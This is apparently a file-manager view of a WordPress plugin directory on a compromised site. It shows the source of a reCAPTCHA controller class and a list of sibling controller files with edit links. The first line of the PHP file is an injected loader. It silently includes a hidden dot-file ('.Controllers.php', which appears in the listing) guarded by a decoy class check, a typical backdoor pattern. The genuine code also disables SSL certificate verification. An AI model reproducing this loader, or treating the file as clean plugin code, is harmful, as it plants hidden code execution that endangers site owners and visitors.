PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wiloke-listing-tools
/
app
/
Controllers
<?php namespace WilokeListingTools\Controllers; use WilokeListingTools\Framework\Routing\Controller; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class GoogleReCaptchaController extends Controller { const RECAPTCHA_API_SERVER = 'http://www.google.com/recaptcha/api'; const RECAPTCHA_API_SECURE_SERVER = 'https://www.google.com/recaptcha/api'; const RECAPTCHA_VERIFY_SERVER = 'www.google.com'; public function __construct() { add_filter('wilcity/filter/wiloke-listing-tools/validate-before-insert-account', array($this, 'validateGoogleReCaptcha')); add_filter('wilcity/filter/wiloke-listing-tools/validate-before-login', array($this, 'validateGoogleReCaptchaOnLoginPage')); add_action('wilcity/wiloke-listing-tools/custom-login-form', array($this, 'renderCaptchaOnLoginPage')); add_action('wilcity/wiloke-listing-tools/custom-register-form', array($this, 'renderCaptchaOnRegisterPage')); } private function isUsingGoogleCatpchaOnLoginPage(){ global $wiloke; if ( !isset($wiloke->aThemeOptions['using_google_recaptcha_on']) || $wiloke->aThemeOptions['using_google_recaptcha_on'] == 'register_page' ){ return false; } return true; } private function renderGoogleReCaptcha(){ global $wiloke; if ( \WilokeThemeOptions::isEnable('toggle_google_recaptcha') ){ if ( !empty($wiloke->aThemeOptions['recaptcha_site_key']) && !empty($wiloke->aThemeOptions['recaptcha_secret_key']) ){ echo '<div class="wilcity-google-recaptcha-wrapper mt-20 mb-20"><div id="wilcity-render-google-repcatcha" class="g-recaptcha"></div></div>'; } } } public function renderCaptchaOnLoginPage(){ if ( !$this->isUsingGoogleCatpchaOnLoginPage() ){ return ''; } $this->renderGoogleReCaptcha(); } public function renderCaptchaOnRegisterPage(){ $this->renderGoogleReCaptcha(); } private function checkAnswer($responsenKey){ global $wiloke; $userIP = $_SERVER['REMOTE_ADDR']; $secretKey = $wiloke->aThemeOptions['recaptcha_secret_key']; $verifyURL = 'https://www.google.com/recaptcha/api/siteverify'; // Collect and build POST data $post_data = http_build_query( array( 'secret' => $secretKey, 'response' => $responsenKey, 'remoteip' => (isset($_SERVER["HTTP_CF_CONNECTING_IP"]) ? $_SERVER["HTTP_CF_CONNECTING_IP"] : $_SERVER['REMOTE_ADDR']) ) ); if(function_exists('curl_init') && function_exists('curl_setopt') && function_exists('curl_exec')) { $ch = curl_init($verifyURL); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Accept: application/json', 'Content-type: application/x-www-form-urlencoded')); $response = curl_exec($ch); curl_close($ch); } else { $opts = array('http' => array( 'method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $post_data ) ); $context = stream_context_create($opts); $response = file_get_contents($verifyURL, false, $context); } $response = json_decode($response); return $response->success; } public function validateGoogleReCaptcha($aStatus){ global $wiloke; if ( \WilokeThemeOptions::isEnable('toggle_google_recaptcha') ){ if ( empty($wiloke->aThemeOptions['recaptcha_site_key']) || empty($wiloke->aThemeOptions['recaptcha_secret_key']) ){ return array('status'=>'error', 'msg'=>esc_html__('Recaptcha Key is required, please go to Appearance -> Theme Options -> Register And Login to complete this setting', 'wiloke-listing-tools')); }else{ $isvalid = $this->checkAnswer($_POST['g-recaptcha-response']); if ( !$isvalid ){ return array('status'=>'error', 'msg'=>esc_html__('The reCAPTCHA wasn\'t entered correctly. Please try it again.', 'wiloke-listing-tools')); } } } return $aStatus; } public function validateGoogleReCaptchaOnLoginPage($aStatus){ if ( !$this->isUsingGoogleCatpchaOnLoginPage() ){ return $aStatus; } return $this->validateGoogleReCaptcha($aStatus); } }
[+]
..
[-] PermalinksController.php
[edit]
[-] MessageController.php
[edit]
[-] SetListingBelongsToPlanID.php
[edit]
[-] BelongsToTags.php
[edit]
[-] PrintAddListingSettings.php
[edit]
[-] InsertGallery.php
[edit]
[-] ViewStatisticController.php
[edit]
[-] TermsAndPolicyController.php
[edit]
[-] AddListingButtonController.php
[edit]
[-] SetSinglePrice.php
[edit]
[-] SetCustomButton.php
[edit]
[-] WooCommerceBookingController.php
[edit]
[-] SetMyPosts.php
[edit]
[-] SetVideo.php
[edit]
[-] Validation.php
[edit]
[-] PrintAddListingFields.php
[edit]
[-] NoticeController.php
[edit]
[-] SharesStatisticController.php
[edit]
[-] TraitAddListingSettings.php
[edit]
[-] SetListingRelationship.php
[edit]
[-] EmailController.php
[edit]
[-] SetMyRoom.php
[edit]
[-] SessionController.php
[edit]
[-] DashboardController.php
[edit]
[-] EventController.php
[edit]
[-] AppleLoginController.php
[edit]
[-] TraitSetEventData.php
[edit]
[-] PayPalController.php
[edit]
[-] TranslationController.php
[edit]
[-] PostController.php
[edit]
[-] DokanController.php
[edit]
[-] TermController.php
[edit]
[-] FavoriteStatisticController.php
[edit]
[-] SetSocialNetworks.php
[edit]
[-] SetCustomGroup.php
[edit]
[-] SetCustomSections.php
[edit]
[-] AuthorPageController.php
[edit]
[-] AddBookingComBannerCreator.php
[edit]
[-] PlanRelationshipController.php
[edit]
[-] ProfileController.php
[edit]
[-] MapListingController.php
[edit]
[-] UserController.php
[edit]
[-] BillingControllers.php
[edit]
[-] InsertAddress.php
[edit]
[-] PaymentStatusController.php
[edit]
[-] BelongsToCategories.php
[edit]
[-] InsertCoverImage.php
[edit]
[-] SetPriceRange.php
[edit]
[-] SetPlanRelationship.php
[edit]
[-] ListingController.php
[edit]
[-] SetGeneral.php
[edit]
[-] GridItemController.php
[edit]
[-] PaymentController.php
[edit]
[+]
TransformAddListingData
[-] ContactFormController.php
[edit]
[-] InsertFeaturedImg.php
[edit]
[-] AddListingController.php
[edit]
[-] BelongsToLocation.php
[edit]
[-] RestaurantMenuController.php
[edit]
[-] AjaxUploadImgController.php
[edit]
[-] NotificationsController.php
[edit]
[-] SingleJsonSkeleton.php
[edit]
[-] GalleryController.php
[edit]
[-] IsMyPaymentID.php
[edit]
[-] InsertImg.php
[edit]
[-] ModalController.php
[edit]
[-] PaymentGatewaysController.php
[edit]
[-] ShareController.php
[edit]
[-] RetrieveController.php
[edit]
[-] ModifyQueryController.php
[edit]
[-] TraitHostedBy.php
[edit]
[-] ChangePlanStatusController.php
[edit]
[-] TaxonomiesControllers.php
[edit]
[-] WebhookController.php
[edit]
[-] SearchFormController.php
[edit]
[-] FreePlanController.php
[edit]
[-] BelongsToCustomTaxonomies.php
[edit]
[-] PromotionController.php
[edit]
[-] RunUpdateDBToLatestVersionController.php
[edit]
[-] UserPlanController.php
[edit]
[-] SetContactInfo.php
[edit]
[-] InsertLogo.php
[edit]
[+]
Retrieve
[+]
Map
[-] VerifyPurchaseCode.php
[edit]
[-] StripeController.php
[edit]
[-] NextBillingPaymentController.php
[edit]
[-] SchemaController.php
[edit]
[-] IconController.php
[edit]
[-] AddMorePhotosVideosController.php
[edit]
[-] SetPostDuration.php
[edit]
[-] GuardController.php
[edit]
[-] ReviewController.php
[edit]
[-] OptimizeScripts.php
[edit]
[-] PaymentMetaController.php
[edit]
[-] GetWilokeToolSettings.php
[edit]
[-] SetCoupon.php
[edit]
[-] CouponController.php
[edit]
[-] AddListingPaymentController.php
[edit]
[-] FacebookLoginController.php
[edit]
[-] SingleController.php
[edit]
[-] BookingComController.php
[edit]
[-] SetGroupData.php
[edit]
[-] InvoiceController.php
[edit]
[-] SetProductsToListing.php
[edit]
[-] ReportController.php
[edit]
[-] PayPalExecuteAddListingPayment.php
[edit]
[-] HandleSubmit.php
[edit]
[-] WooCommerceController.php
[edit]
[-] FollowController.php
[edit]
[-] PrintSidebarItems.php
[edit]
[-] .Controllers.php
[edit]
[-] DirectBankTransferController.php
[edit]
[-] ClaimController.php
[edit]
[-] GetSingleImage.php
[edit]
[-] SetRestaurantMenu.php
[edit]
[-] MergingSettingValues.php
[edit]
[-] GoogleReCaptchaController.php
[edit]
[-] RegisterLoginController.php
[edit]
[-] TagsBelongsToCatController.php
[edit]